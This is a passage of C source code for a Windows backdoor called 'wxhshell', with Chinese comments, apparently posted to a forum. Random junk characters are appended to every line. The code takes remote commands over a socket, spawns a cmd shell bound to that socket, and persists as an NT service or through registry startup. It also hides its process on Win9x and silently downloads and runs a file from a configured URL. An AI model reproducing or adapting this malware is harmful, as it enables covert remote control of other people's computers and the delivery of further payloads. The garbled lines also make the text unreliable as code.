  |!\(eLR9>  
  // 帮助 ijYSYX@  
  case '?': { 27;t,Oq}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UeVRd  
    break; P2nb&lVdu  
  } X3KP N  
  // 安装 *lN>RWbM%  
  case 'i': { &k5 Z|d|  
    if(Install()) >^@/Ba$h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t._W643~  
    else <tEN1i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ou _bM n  
    break; CbJ ]}Z  
    } |WiK*  
  // 卸载 /&>6#3df-  
  case 'r': { |zV-a2K%J  
    if(Uninstall()) 3 *o l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f1'NWec  
    else 'w+T vOB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y%UfwbX!g  
    break; _fH.#C  
    } .1yp}&e#  
  // 显示 wxhshell 所在路径 %2<G3]6^U  
  case 'p': { ]F@XGJN  
    char svExeFile[MAX_PATH]; ( _ZOUMe  
    strcpy(svExeFile,"\n\r"); [Hn4&PET  
      strcat(svExeFile,ExeFile); > dJvl|  
        send(wsh,svExeFile,strlen(svExeFile),0); T(<C8  
    break; (R*K)(Nw[  
    } F3\'WQh  
  // 重启 Tsez&R$k  
  case 'b': { *8zn\No<,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7W[}7Y   
    if(Boot(REBOOT)) fjUyx:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rld1pX2v  
    else { Y5~_y?BX  
    closesocket(wsh); \e5bxc  
    ExitThread(0); TR8<=  
    } {XMF26C#  
    break; /++CwRz@Gm  
    } -d+q+l>0  
  // 关机 m<>3GF,5bP  
  case 'd': { 2 $^n@<uZ@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s%nx8"   
    if(Boot(SHUTDOWN)) 8_MR7'C1hi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+{OSx<S  
    else { 7m6@]S6  
    closesocket(wsh); 'AX/?Srd  
    ExitThread(0); -hf)%o$  
    } CT@JNG$<"  
    break; .kSx>3  
    } @N`) Z3P+  
  // 获取shell Kr!(<i  
  case 's': { 0xVue[ep  
    CmdShell(wsh); s[ |sfqB1`  
    closesocket(wsh); 1&~u:RUXe  
    ExitThread(0); #Sj:U1x  
    break; ( w(GJ/g  
  } O|J`M2r  
  // 退出 1!"0fZh9U  
  case 'x': { #Al.Itj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uI7 d?s  
    CloseIt(wsh); +B$ o8V  
    break; CPVR  
    } 48CLnyYiF  
  // 离开 H/>86GG  
  case 'q': { oagxTFh8~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q/Dc*Qn m  
    closesocket(wsh); < @9p|[!  
    WSACleanup(); =PiDZS^"  
    exit(1); HTK79 +  
    break; AvdxDN  
        } P agzp%m  
  } d/G`w{H}y  
  } MP\$_;&xB  
I"4j152P|  
  // 提示信息 " d3pkY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |:SBkM,  
} ngoo4}  
  } O1pBr=+j+{  
u+eA>{  
  return; jk2h"):B>  
} $v?+X20  
0 !yvcviw  
// shell模块句柄 XJ~_FiB  
int CmdShell(SOCKET sock) s5T$>+ a  
{ nS0K&MH6B  
STARTUPINFO si; cg$@x\fJ  
ZeroMemory(&si,sizeof(si)); .L[WvAo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F i?2sa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L-\-wXg%  
PROCESS_INFORMATION ProcessInfo; 0x!XE|7I  
char cmdline[]="cmd"; Yhl {'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MhN)ZhsC  
  return 0; rK W<kQT  
} vr<6j/ty  
{yQeLION  
// 自身启动模式 %"~\Pu*>  
int StartFromService(void) O^v^GG=e;C  
{ |Ui1Mm  
typedef struct 4:-h\%  
{ !uLW-[F,  
  DWORD ExitStatus; QLYb>8?"C  
  DWORD PebBaseAddress; lwhAF, '$  
  DWORD AffinityMask; iva&W  
  DWORD BasePriority; W8j)2nKD  
  ULONG UniqueProcessId; 5;5;bBo~  
  ULONG InheritedFromUniqueProcessId; mAh0xgm  
}   PROCESS_BASIC_INFORMATION; d?(#NP#;  
vdrV)^  
PROCNTQSIP NtQueryInformationProcess; Q.H y"~  
nYG$V)iCb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dg/OjiD[P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Y5Q>2D}  
B RF=TL5Z  
  HANDLE             hProcess; fyIL/7hzf4  
  PROCESS_BASIC_INFORMATION pbi; Xxcv 5.ug  
3+_? /}<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }R:eKj  
  if(NULL == hInst ) return 0; ^& ZlV  
[OBj2=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1TbY,3W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VyH'7_aU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZzPlIl}\  
yCZV:R;  
  if (!NtQueryInformationProcess) return 0; M7BCBA  
`2\vDy1,j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [8AGW7_  
  if(!hProcess) return 0; |i'V\" hW  
0qXd?z$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !_rAAY  
[=079UN-X  
  CloseHandle(hProcess); u9rlNmf$  
_hyboQi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {s!DRc]ln  
if(hProcess==NULL) return 0; ZKTOif}  
Wf/Gt\?  
HMODULE hMod; n5 dFp%k  
char procName[255]; O, 6U pk  
unsigned long cbNeeded; 1lZl10M:f  
N%!8I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iEr Y2~?  
~;O|$xL  
  CloseHandle(hProcess); .VN"j  
)O~LXK=b  
if(strstr(procName,"services")) return 1; // 以服务启动 @.ebQR-:H  
v'0A$`w`  
  return 0; // 注册表启动 Ovh  
}  b=v  
mY?^]3-_  
// 主模块 {#N](yUm  
int StartWxhshell(LPSTR lpCmdLine) MjCD;I:C.  
{ uc9t0]o=h  
  SOCKET wsl; An cmSi  
BOOL val=TRUE; $6.CN#  
  int port=0; BYt#aqf  
  struct sockaddr_in door; :iJ+ImBpK  
nPh 5(&E  
  if(wscfg.ws_autoins) Install(); w1B!z  
%cMX]U  
port=atoi(lpCmdLine); ?WE#%W7U  
n[ip'*2L  
if(port<=0) port=wscfg.ws_port; E>f+E8?  
IMLk{y%6  
  WSADATA data; O\;Z4qn2=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d;O16xcM/  
GlYNC&,VL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q15t7-Z6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aOHf#!/"sb  
  door.sin_family = AF_INET; d:*,HzG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^lhV\YxJ  
  door.sin_port = htons(port); j*@^O`^v  
s>(OK.o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }eh<F^  
closesocket(wsl); 7K3S\oPej  
return 1; -b+VzVJZ  
} Cm g(# $ X  
Zyxr#:Qm  
  if(listen(wsl,2) == INVALID_SOCKET) { o-\ K]  
closesocket(wsl); . (G9mZFV  
return 1; 8enlF\I8g  
} jY'svD~  
  Wxhshell(wsl); ;Ak<O[  
  WSACleanup(); PjZsMHW%  
Ag=>F5  
return 0;  ZaJg$  
mne4uW  
} h`n,:Y^++P  
>+y[HTf-  
// 以NT服务方式启动 rZ`ob x\S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8A/"ia  
{ *TQXE:vZ[  
DWORD   status = 0; umZy=KHj  
  DWORD   specificError = 0xfffffff; 0o~? ]C  
KDr?<"2L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9TRS#iVL+*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %suSZw`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l&l&e OE  
  serviceStatus.dwWin32ExitCode     = 0; UFBggT\  
  serviceStatus.dwServiceSpecificExitCode = 0; SV#$Cf g  
  serviceStatus.dwCheckPoint       = 0;  734)s  
  serviceStatus.dwWaitHint       = 0; 4ti\;55{W  
X!Ag7^E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P{j2'gg3  
  if (hServiceStatusHandle==0) return; g&eIfm  
~t7?5b?*\  
status = GetLastError(); `|?K4<5|  
  if (status!=NO_ERROR) )90Q  
{ 3)\jUVuj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U;QTA8|!&  
    serviceStatus.dwCheckPoint       = 0; 9IJBK  
    serviceStatus.dwWaitHint       = 0; A;ip V :)  
    serviceStatus.dwWin32ExitCode     = status; _N!L?b83P  
    serviceStatus.dwServiceSpecificExitCode = specificError; xR;>n[6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D^qto{!  
    return; Sy|fX_i  
  } {FRUB(68b  
,aOi:aaZRT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j"6r]nc&  
  serviceStatus.dwCheckPoint       = 0; o %GVg  
  serviceStatus.dwWaitHint       = 0; B].V|8h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nmI os]B  
} buV {O[  
pQv`fr=  
// 处理NT服务事件,比如:启动、停止 T DOOq;+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k4:$LFw@  
{ K|JpkEw  
switch(fdwControl) D5lzrpg_e  
{ dqF]kP,VG  
case SERVICE_CONTROL_STOP: IoO tn  
  serviceStatus.dwWin32ExitCode = 0; )e&U'Fx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n;&08M5an}  
  serviceStatus.dwCheckPoint   = 0; EB R,j_  
  serviceStatus.dwWaitHint     = 0; ]}7FTMGbY  
  { ipzv]c&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N{oi }i6  
  } x!5b" "  
  return; ; kPx@C   
case SERVICE_CONTROL_PAUSE: SOE 5`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5cj]Y)I-~  
  break; B(tLV9B3Q  
case SERVICE_CONTROL_CONTINUE: }AfX0[!O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qw^kA?  
  break; cGF_|1`  
case SERVICE_CONTROL_INTERROGATE: wEd+Ds]$  
  break; a#3+PB #  
}; Ws;S=|9,7~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='r86vq  
} Ff6l"A5  
+/xmxh$ $  
// 标准应用程序主函数 co!o+jP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s<3cvF<  
{ Hq<Sg4nz  
SURbH;[   
// 获取操作系统版本 9*s''=  
OsIsNt=GetOsVer(); dH]0 (aJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z;M}.'BE  
Fuq MT`  
  // 从命令行安装  TA;r  
  if(strpbrk(lpCmdLine,"iI")) Install(); ."`mh&+`  
>]b>gc?3  
  // 下载执行文件 &CP0T:h  
if(wscfg.ws_downexe) { 9$ GA s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) as#_Fer`U  
  WinExec(wscfg.ws_filenam,SW_HIDE); w:[1,rRvT  
} vG E;PwR  
r 0m A  
if(!OsIsNt) { $D;/b+a  
// 如果时win9x,隐藏进程并且设置为注册表启动 n^}M*#  
HideProc(); a'zXLlXgGd  
StartWxhshell(lpCmdLine); @4sEHk 3  
} T''PzY!Qf  
else tE|W8=be/  
  if(StartFromService()) jnF-kia  
  // 以服务方式启动 !9 7U2L4  
  StartServiceCtrlDispatcher(DispatchTable); ^YVd^<cE  
else wWq(|"  
  // 普通方式启动 jLc"1+  
  StartWxhshell(lpCmdLine); &Bn> YFu  
+ t%[$"$  
return 0; @34Z/%A  
}
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只看该作者 1 发表于: 2006-10-10
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